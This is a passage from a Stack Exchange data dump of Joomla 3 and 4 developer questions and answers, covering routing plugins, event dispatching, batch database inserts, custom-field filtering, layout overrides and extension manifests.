LastEditorUserId="12352" LastEditDate="2022-07-14T00:07:50.150" LastActivityDate="2024-04-04T05:04:35.560" Title="Article Show and Link to Article" Tags="|joomla-3.x|extensions|menu|positions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32271" PostTypeId="2" ParentId="32263" CreationDate="2022-07-13T07:18:00.387" Score="1" Body="&lt;p&gt;It's questionable whether having the title in the URL will be of any help in terms of SEO. The alias is usually the SEF version of the title anyways. But to answer your question, existing URLs can be altered by adding custom routing rules. This can be done using a system plugin. The methods used for this are &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Router.html#method_attachBuildRule&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Router\Router::attachBuildRule()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Router.html#method_attachParseRule&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Router\Router::attachParseRule()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are build rules and parse rules, and they can be attached at different stages (defined by constants in &lt;code&gt;Joomla\CMS\Router\Router&lt;/code&gt; class).&lt;/p&gt;&#xA;&lt;p&gt;You would register these rules early in the plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\Router\Router;&#xA;&#xA;public function onAfterInitialise()&#xA;{&#xA;    // Get the site router.&#xA;    $router = CMSApplication::getRouter('site');&#xA;&#xA;    // Attch custom rules.&#xA;    $router-&amp;gt;attachBuildRule([$this, 'preprocessBuild'], Router::PROCESS_BEFORE);&#xA;    $router-&amp;gt;attachBuildRule([$this, 'postprocessBuild'], Router::PROCESS_DURING);&#xA;    $router-&amp;gt;attachParseRule([$this, 'postprocessParse'], Router::PROCESS_AFTER);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Both build and parse rules are in form of callables which accept an instance of the router and the URI object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Router\SiteRouter;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;public function preprocessBuild(SiteRouter $router, Uri $uri)&#xA;{&#xA;    // Your logic here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Build rules are used when building a SEF URL from non-SEF URL. This is where you would append the title by manipulating the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Uri.Uri.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;URI&lt;/a&gt; instance. But before that you would need to determine you are touching the correct URL. You would to do that based on query variables in the &lt;code&gt;$uri&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Parse rules are used when resolving current SEF URLs to a set of input variables. Each path segment is resolved and then removed from the &lt;code&gt;$uri&lt;/code&gt;. If a segment is remanining, Joomla considers this to be an invalid URL and throws a 404. In your case, you would need to check if the remaining title matches the title of the article with a given ID in the database and remove it if it does.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-07-13T07:18:00.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32272" PostTypeId="1" CreationDate="2022-07-13T13:54:00.413" Score="1" ViewCount="208" Body="&lt;p&gt;I use this code in Joomla 3 component:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = \JEventDispatcher::getInstance();&#xA;&#xA;&#xA;if (class_exists('PlgSystemFields'))&#xA;{&#xA;    //detach plugin&#xA;    $dispatcher-&amp;gt;detach('PlgSystemFields');&#xA;}&#xA;&#xA;$return = $this-&amp;gt;save2($data);&#xA;&#xA;if (class_exists('PlgSystemFields'))&#xA;{&#xA;    //register plugin&#xA;    $dispatcher-&amp;gt;register('', 'PlgSystemFields');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I disable the PlgSystemFields plugin for a moment in this code (::detach and ::register function). But in Joomla 4 is this not working. Joomla 4 replace the JEventDespatcher with the 'joomla/event' package. But where are these functions/methods gone?&lt;/p&gt;&#xA;" OwnerUserId="16447" LastActivityDate="2024-04-04T09:06:25.937" Title="Joomla dispatcher detach and register functions disappeared" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32273" PostTypeId="2" ParentId="32261" CreationDate="2022-07-13T17:38:43.323" Score="1" Body="&lt;p&gt;Within &lt;code&gt;/administrator/components/com_content/src/Field/Modal/ArticleField.php&lt;/code&gt;, resolve the problem by removing the offending, escaped single-quotes (apostrophes) around the &lt;code&gt;id&lt;/code&gt; value of the dynamic query string.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$urlEdit   = $linkArticle . '&amp;amp;amp;task=article.edit&amp;amp;amp;id=\' + document.getElementById(&amp;amp;quot;' . $this-&amp;gt;id . '_id&amp;amp;quot;).value + \'';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replacement line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$urlEdit   = $linkArticle . '&amp;amp;amp;task=article.edit&amp;amp;amp;id=+ document.getElementById(&amp;amp;quot;' . $this-&amp;gt;id . '_id&amp;amp;quot;).value +';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm very, very grateful to Dimitris Grammatikogiannis for suggesting this fix.&lt;/p&gt;&#xA;&lt;p&gt;But this still does not explain why I was only facing the issue on this particular (migrated) J4 website and not on other (migrated or native) J4 websites.&lt;/p&gt;&#xA;&lt;p&gt;Maybe there is something with the server configuration?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;EDIT:&#xA;I now discovered that I face the same issue with the Edit button on the Associations tab when editing a Menu Item.&lt;/p&gt;&#xA;&lt;p&gt;There, the file which has to be corrected is: &lt;code&gt;/administrator/components/com_menus/src/Field/Modal/MenuField.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To resolve, remove the two occurrences of escaped single-quotes as done in the aforementioned line of code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$urlEdit   = $linkItem . '&amp;amp;amp;task=item.edit&amp;amp;amp;id=\' + document.getElementById(&amp;quot;' . $this-&amp;gt;id . '_id&amp;quot;).value + \'';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The new code needs to be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$urlEdit   = $linkItem . '&amp;amp;amp;task=item.edit&amp;amp;amp;id=+ document.getElementById(&amp;quot;' . $this-&amp;gt;id . '_id&amp;quot;).value +';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;--- edit 2022.08.04 - the root cause ---&lt;/p&gt;&#xA;&lt;p&gt;The strange thing about this issue is that I only had it on a couple of J4 sites, while all the other ones are OK.&lt;/p&gt;&#xA;&lt;p&gt;Yesterday, txs to the following post on the Joomla Facebook Group, I discovered the root cause, namely some rule of ModSecurity:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/groups/joomlanospam/posts/10158437621590997/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.facebook.com/groups/joomlanospam/posts/10158437621590997/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So of course one could disable ModSecurity. But applying the fix above is a better solution since it allows to keep ModSecurity on.&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="15734" LastEditDate="2022-08-04T05:48:57.627" LastActivityDate="2022-08-04T05:48:57.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32274" PostTypeId="1" AcceptedAnswerId="32277" CreationDate="2022-07-13T18:44:11.107" Score="1" ViewCount="156" Body="&lt;p&gt;First, I took user_id, name, and email for the &lt;code&gt;#__users&lt;/code&gt; table and joined with custom &lt;code&gt;#__field_values&lt;/code&gt; &lt;code&gt;lot&lt;/code&gt;, &lt;code&gt;address&lt;/code&gt;, and &lt;code&gt;phone&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('u.id, u.name, u.email')&#xA;    -&amp;gt;select(&amp;quot;(SELECT fv.value FROM #__fields_values AS fv INNER JOIN #__fields AS f ON f.id = fv.field_id WHERE u.id = fv.item_id AND 'lot' = f.name) AS lot&amp;quot;)&#xA;    -&amp;gt;select(&amp;quot;(SELECT fv.value FROM #__fields_values AS fv INNER JOIN #__fields AS f ON f.id = fv.field_id WHERE u.id = fv.item_id AND 'address' = f.name) AS address&amp;quot;)&#xA;    -&amp;gt;select(&amp;quot;(SELECT fv.value FROM #__fields_values AS fv INNER JOIN #__fields AS f ON f.id = fv.field_id WHERE u.id = fv.item_id AND 'phone' = f.name) AS phone&amp;quot;)&#xA;    -&amp;gt;from('#__users AS u')&#xA;    -&amp;gt;order('lot ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadAssocList();&#xA;&#xA;print_r($rows);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;print_r($rows)&lt;/code&gt; look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;  [0] =&amp;gt; Array (&#xA;    [0] =&amp;gt; 73&#xA;    [1] =&amp;gt; Groucho Marx&#xA;    [2] =&amp;gt; groucho@mail.com&#xA;    [3] =&amp;gt; 001&#xA;    [4] =&amp;gt; 123 Maple Street&#xA;    [5] =&amp;gt; 555-555-1111&#xA;  )&#xA;  [1] =&amp;gt; Array (&#xA;    [0] =&amp;gt; 74&#xA;    [1] =&amp;gt; Chico Marx&#xA;    [2] =&amp;gt; chico@gmail.com&#xA;    [3] =&amp;gt; 002&#xA;    [4] =&amp;gt; 456 Elm Street&#xA;    [5] =&amp;gt; 555-555-2222&#xA;  )&#xA;  [2] =&amp;gt; Array (&#xA;    [0] =&amp;gt; 75&#xA;    [1] =&amp;gt; Harpo Marx&#xA;    [2] =&amp;gt; harpo@mac.com&#xA;    [3] =&amp;gt; 003&#xA;    [4] =&amp;gt; 789 Oak Street&#xA;    [5] =&amp;gt; 555-555-3333&#xA;  )&#xA;  ...and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want to insert the records into #__users_directory. I tried this but nothing happened. No error, just an empty table.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$columns = array('id', 'name', 'email', 'lot', 'address', 'phone');&#xA;$values = array($db-&amp;gt;quote($rows['id']),$db-&amp;gt;quote($rows['name']),$db-&amp;gt;quote($rows['email']),$db-&amp;gt;quote($rows['lot']),$db-&amp;gt;quote($rows['address']),$db-&amp;gt;quote($rows['phone']));&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__users_directory'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',',$values));&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Part two of my question is how to build a foreach loop to insert multiple records at once.&lt;/p&gt;&#xA;" OwnerUserId="16443" LastEditorUserId="12352" LastEditDate="2022-07-14T00:12:08.030" LastActivityDate="2022-07-14T07:49:24.930" Title="How do I insert multiple records?" Tags="|database|joomla-4.x|fields|pivot|batch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32275" PostTypeId="2" ParentId="32270" CreationDate="2022-07-13T19:19:46.250" Score="0" Body="&lt;p&gt;I want to publicly thank the developer Olwebdesign who gave the correct answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;This is because there is not any menu item related to those articles. Here is the info how to fix it:&lt;br /&gt;&#xA;The links are related to frontpage and not to articles because there is not any menu link to those articles and can not take the item id.&#xA;You can do the following.&#xA;Go in Menus / about joomla (or bottom menu). There click in new.&#xA;In &amp;quot;Menu Item Type&amp;quot; click select and chose &amp;quot;Category Blog&amp;quot;.&#xA;Enter any menu title example QuickNews.&#xA;In Required Settings In &amp;quot;Choose a category&amp;quot; select  the category where are the articles with links on fronpage.&#xA;Click Save.&#xA;Best regards,&#xA;Olwebdesign&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16445" LastActivityDate="2022-07-13T19:19:46.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32276" PostTypeId="2" ParentId="32272" CreationDate="2022-07-14T06:26:14.117" Score="0" Body="&lt;p&gt;The equivalent would be &lt;code&gt;Joomla\Event\DispatcherInterface::removeSubscriber()&lt;/code&gt; method but it's not going to work with &lt;code&gt;System - Fields&lt;/code&gt; plugin because it does not implement &lt;code&gt;Joomla\Event\SubscriberInterface&lt;/code&gt; yet.&lt;/p&gt;&#xA;&lt;p&gt;There's also &lt;code&gt;Joomla\Event\DispatcherInterface::removeListener()&lt;/code&gt; but that isn't going to work as well due to how legacy plugins are implemented in J4.&lt;/p&gt;&#xA;&lt;p&gt;In short, there is no simple way to achieve this with the plugin in question. It is, however, possible with plugins that have been converted to modern architecture.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-07-14T06:26:14.117" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32277" PostTypeId="2" ParentId="32274" CreationDate="2022-07-14T07:40:20.863" Score="0" Body="&lt;p&gt;The &lt;code&gt;print_r($rows)&lt;/code&gt; result of your 1st &lt;code&gt;select&lt;/code&gt; query looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; Array&#xA;        (&#xA;            [id] =&amp;gt; 413&#xA;            [name] =&amp;gt; John Doe&#xA;            [email] =&amp;gt; john@example.com&#xA;            [lot] =&amp;gt; &#xA;            [address] =&amp;gt; Elm street&#xA;            [phone] =&amp;gt; 555-1234 &#xA;        )&#xA;&#xA;    [1] =&amp;gt; Array&#xA;        (&#xA;            [id] =&amp;gt; 414&#xA;            [name] =&amp;gt; Jane Doe&#xA;            [email] =&amp;gt; jane@example.com&#xA;            [lot] =&amp;gt; &#xA;            [address] =&amp;gt; 99 main street&#xA;            [phone] =&amp;gt; 555-5678&#xA;        )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would try the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$columns = array('id', 'name', 'email', 'lot', 'address', 'phone');&#xA;&#xA;foreach($rows as $row)&#xA;{&#xA;  $values = [$row['id'], $db-&amp;gt;quote($row['name']), $db-&amp;gt;quote($row['email']),&#xA;  $db-&amp;gt;quote($row['lot']),$db-&amp;gt;quote($row['address']), $db-&amp;gt;quote($row['phone'])];&#xA;&#xA;  $query = $db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;insert($db-&amp;gt;quoteName('#__users_directory'))&#xA;   -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;   -&amp;gt;values(implode(',',$values));&#xA;&#xA;  // Display your query to test in phpMyAdmin.&#xA;  echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;  echo $query-&amp;gt;dump();&#xA;  echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;  // Remove this part from your final code.&#xA;&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Though maybe there's a more efficient way to do this...&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-07-14T07:49:24.930" LastActivityDate="2022-07-14T07:49:24.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32278" PostTypeId="1" AcceptedAnswerId="32279" CreationDate="2022-07-14T09:51:17.127" Score="4" ViewCount="1237" Body="&lt;p&gt;I am looking for a way to show Joomla 4 articles in a category blog filtered by one (or more) of my custom fields. - The category blog settings in the backend seems only allow to filter by category, tag and other default article parameters. - Is filtering a blog by custom fields possible, anyways?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="13472" LastEditDate="2022-07-14T11:04:25.403" LastActivityDate="2022-07-14T11:04:25.403" Title="How to show list of articles filtered by category and custom field" Tags="|custom-field|joomla-4.x|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32279" PostTypeId="2" ParentId="32278" CreationDate="2022-07-14T11:04:04.153" Score="4" Body="&lt;p&gt;You can filter on Custom Fields via &lt;strong&gt;multiple ways&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;filtering via &lt;strong&gt;JavaScript + CSS&lt;/strong&gt;. This will load all articles, but can CSS hide (display:none) them using some JavaScript. The articles are still there in the HTML source but just not visible.&lt;/li&gt;&#xA;&lt;li&gt;filtering via &lt;strong&gt;PHP&lt;/strong&gt; in &lt;strong&gt;Joomla's Articles Model&lt;/strong&gt;. This will load only the articles that fit to the filter state. I used this technique for a client project: I've programmed a System Plugin that overrides Joomla's Articles Model in the &lt;code&gt;populateState&lt;/code&gt; method. And I programmed a Module to set the Filters. This way I was able to filter the Articles based on Filter Options using some Custom Field Fields.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are some &lt;strong&gt;3rd party extensions&lt;/strong&gt; available that add filtering functionality to Joomla's articles:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;JL Content Fields Filter&lt;/strong&gt; (for J3 + J4) &lt;a href=&quot;https://extensions.joomla.org/extension/jl-content-fields-filter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jl-content-fields-filter/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;JFilters&lt;/strong&gt; (for J4) &lt;a href=&quot;https://extensions.joomla.org/extension/jfilters/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jfilters/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-07-14T11:04:04.153" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32280" PostTypeId="1" CreationDate="2022-07-16T17:27:44.717" Score="2" ViewCount="107" Body="&lt;p&gt;I need to make some adjustments to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/layouts/joomla/content/full_image.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in Joomla 4.1.5.&lt;/p&gt;&#xA;&lt;p&gt;For all (full) article images without an alt attribute the alt attribute should be the title of the article.&lt;/p&gt;&#xA;&lt;p&gt;That works fine with adding the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$item    = $displayData;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and replacing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'alt'      =&amp;gt; empty($images-&amp;gt;image_fulltext_alt) &amp;amp;&amp;amp; empty($images-&amp;gt;image_fulltext_alt_empty) ? false : $images-&amp;gt;image_fulltext_alt,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'alt'      =&amp;gt; $item-&amp;gt;title,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Anyway, my challenge now is to only set the article title as an alt attribute in case I did not define an alt attribute in the article settings. I tried but I failed so far. But this should be an easy one, right?&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2022-07-16T21:17:06.807" Title="override for /layouts/joomla/content/full_image.php // alt attributes for images in Joomla 4" Tags="|overrides|joomla-4.x|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32281" PostTypeId="2" ParentId="32280" CreationDate="2022-07-16T21:17:06.807" Score="2" Body="&lt;p&gt;I found a way to solve it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if(empty($images-&amp;gt;image_fulltext_alt) &amp;amp;&amp;amp; empty($images-&amp;gt;image_fulltext_alt_empty))&#xA;{&#xA;$alt = $item-&amp;gt;title;&#xA;}&#xA;else&#xA;{&#xA;$alt = $images-&amp;gt;image_fulltext_alt;&#xA;}&#xA;&#xA;[...]&#xA;&#xA;$layoutAttr = [&#xA;    'src'      =&amp;gt; $images-&amp;gt;image_fulltext,&#xA;    'itemprop' =&amp;gt; 'image',&#xA;    'alt'      =&amp;gt; $alt,&#xA;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2022-07-16T21:17:06.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32282" PostTypeId="1" CreationDate="2022-07-17T21:07:46.140" Score="1" ViewCount="37" Body="&lt;p&gt;I wrote several plugins and for each one exists a relative configuration form loaded by the &lt;code&gt;onContentPrepareForm&lt;/code&gt; event using the &lt;code&gt;$form-&amp;gt;loadFile()&lt;/code&gt; method&lt;/p&gt;&#xA;&lt;p&gt;Now each time I use this technique, Joomla creates a new tab in the backend article editor if value assigned to name attribute of fieldset tag is different. If same fieldset name is assigned into all of my forms, Joomla will create a monolithic tab which contains all fields inside a single fieldset whose name is the label of fieldset of first recognized plugin.&lt;/p&gt;&#xA;&lt;p&gt;I want create a single tab where all my plugins insert a fieldset with a specific name, is there a clean way to get this behaviour with Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="16453" LastEditorUserId="12352" LastEditDate="2022-07-17T22:43:40.677" LastActivityDate="2022-08-31T06:54:11.203" Title="Show configuration forms of different plugins into a single tab" Tags="|plugin|joomla-4.x|com-content|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32283" PostTypeId="1" CreationDate="2022-07-18T17:50:41.743" Score="1" ViewCount="43" Body="&lt;p&gt;I use a library in my component with these folders:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/library/wbs/classes&#xA;/library/wbs/helpers&#xA;/library/wbs/js&#xA;/library/wbs/css&#xA;/library/wbs/libraries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I want to use this manifest:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;library&amp;quot; method=&amp;quot;upgrade&amp;quot; version=&amp;quot;3.0&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Webemus Framework Library&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Webemus&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;May 2022&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright Webemus(C) 2022&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;info@webemus.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;webemus.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.18&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Webemus Framework Library&amp;lt;/description&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;wbs&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;files&amp;gt;      &#xA;        &amp;lt;folder&amp;gt;classes&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;helpers&amp;lt;/folder&amp;gt;                     &#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;NOTE that I only include folder &amp;quot;classes&amp;quot; and &amp;quot;helpers&amp;quot; in the manifest.&lt;/p&gt;&#xA;&lt;p&gt;This is because mostly I only change these two folders in each version, I don't need to copy the rest of the files and specially because the other folders never change and are very heavy on files and size.&lt;/p&gt;&#xA;&lt;p&gt;When I install the library, it will delete the other folders and only leaving &amp;quot;classes&amp;quot; and &amp;quot;helpers&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I would like the other folder to remain in the server without being touched.&lt;/p&gt;&#xA;&lt;p&gt;Can that be done?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2022-07-18T22:13:14.340" LastActivityDate="2022-07-21T07:56:44.950" Title="Library manifest delete folder" Tags="|development|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32284" PostTypeId="1" AcceptedAnswerId="32285" CreationDate="2022-07-19T05:24:09.103" Score="1" ViewCount="2418" Body="&lt;p&gt;I tried to update to Joomla 4, but failed. So I restored to the previous version on server. But after the restoration, although the website (&lt;a href=&quot;http://www.mslmaster.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.mslmaster.com&lt;/a&gt;) looks fine, but the Joomla itself does not.&lt;/p&gt;&#xA;&lt;p&gt;Almost all of the menus on the control panel give this error message.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Class 'JFormFieldList' not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QWvjj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWvjj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="16454" LastEditorUserId="12352" LastEditDate="2022-07-19T07:57:31.413" LastActivityDate="2023-03-28T13:52:10.127" Title="&quot;0 Class 'JFormFieldList' not found&quot; error" Tags="|error-handling|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32285" PostTypeId="2" ParentId="32284" CreationDate="2022-07-19T12:38:24.213" Score="2" Body="&lt;p&gt;This issue was resolved after hours of anxiety. The solution was to delete everything and re-install all the files.&lt;/p&gt;&#xA;&lt;p&gt;Not the best solution, because we don’t know what went wrong during the update, as after the preliminary check, Joomla gave no serious warnings. And the site only had two plugins in total, and none of them was a problem.&lt;/p&gt;&#xA;&lt;p&gt;However, the update to Joomla 4.1.x remains an issue. Perhaps Joomla can alway support Joomla 3.10? That will be really nice!&lt;/p&gt;&#xA;" OwnerUserId="16454" LastActivityDate="2022-07-19T12:38:24.213" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32287" PostTypeId="1" CreationDate="2022-07-20T00:43:23.310" Score="1" ViewCount="83" Body="&lt;p&gt;We want to use Tabs in the elements of Joomla Zoo Component.&lt;/p&gt;&#xA;&lt;p&gt;We want to evaluate tabs in the Edit and Submission and Full and Teaser Views of the Zoo Component.&lt;/p&gt;&#xA;&lt;p&gt;We are using JU Tabs Tabs Extension for Joomla 3.&lt;/p&gt;&#xA;&lt;p&gt;JU Tabs Homepage:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomultra.com/joomla-extensions/8/132/joomla-extensions/P-ju-tabs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.joomultra.com/joomla-extensions/8/132/joomla-extensions/P-ju-tabs.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have coded a new Element Named TextSeparator&lt;/p&gt;&#xA;&lt;p&gt;Which is used to run the system plugins such as JU Tabs in the frontend (Edit, Submission And Full And Teaser Views).&lt;/p&gt;&#xA;&lt;p&gt;We added the Text Separator Element Code link below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://s24.picofile.com/file/8451491092/joomla_root.zip.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://s24.picofile.com/file/8451491092/joomla_root.zip.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As mentioned in the Picture Below :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bS1a.png&quot; alt=&quot;Screen Capture&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see we have this structure for elements :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Tab 001 – New Tab&#xA;&#xA;     Text Field 001&#xA;&#xA;Tab 002 – New Tab&#xA;&#xA;     Text Field 002&#xA;&#xA;Tab 003 – Close&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But with this method the tabs are rendered in this way in frontend while editing Zoo Item:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5pTLE.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0dFD.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see all of the Text fields are rendered in each tab, but we included just one Text Field in each tab in design section of Zoo Elements.&lt;/p&gt;&#xA;&lt;p&gt;How can we fix 